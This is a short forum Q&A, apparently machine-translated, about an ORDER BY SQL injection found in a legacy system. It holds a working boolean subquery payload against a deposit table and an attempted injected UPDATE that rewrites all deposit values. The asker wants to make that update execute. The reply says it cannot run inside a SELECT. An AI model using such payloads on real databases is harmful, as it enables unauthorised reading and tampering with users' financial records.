Heim > Fragen und Antworten > Hauptteil
In einem alten System, das gewartet wird, wurde eine OrderBy-basierte SQL-Injection-Schwachstelle gefunden, und ich werde sie überprüfen,
Ich werde diese SQL-Injektion zuerst ausführen, es ist in Ordnung
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0
Aber wenn ich diese SQL-Anweisung mit der Update-Anweisung ausführe, erhalte ich eine Fehlermeldung:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0
Einen Fehler melden
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>
Wie soll ich ihn das Update durchführen lassen?
淡淡烟草味2017-05-18 10:49:26
主体是select的时候,里面是不能update的,否则执行不了的,
mybatis这种注入我试过,<select>里执行update直接报错,注入不了